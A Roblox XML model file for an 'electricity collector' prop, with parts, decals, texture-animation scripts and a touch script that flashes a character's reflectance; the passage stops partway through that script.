<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Model" referent="RBX0">
		<Properties>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Model</string>
			<Ref name="PrimaryPart">null</Ref>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Model" referent="RBX1">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">eletricity collecter1</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX2">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>0.899582863</Y>
						<Z>34.5</Z>
						<R00>-0</R00>
						<R01>1</R01>
						<R02>0</R02>
						<R10>-1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX3">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>1.89958525</Y>
						<Z>34.5</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>-0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>-0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX4">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>3.89957309</Y>
						<Z>34.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">0</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">3</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX6">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>2.89957714</Y>
						<Z>34.5</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>-0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>-0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX7">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>3.4000001</Y>
						<Z>32</Z>
						<R00>0</R00>
						<R01>-0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>-1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX8">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX9">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX10">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX11">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX12">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX13">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX14">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX15">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX16">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX17">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX18">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
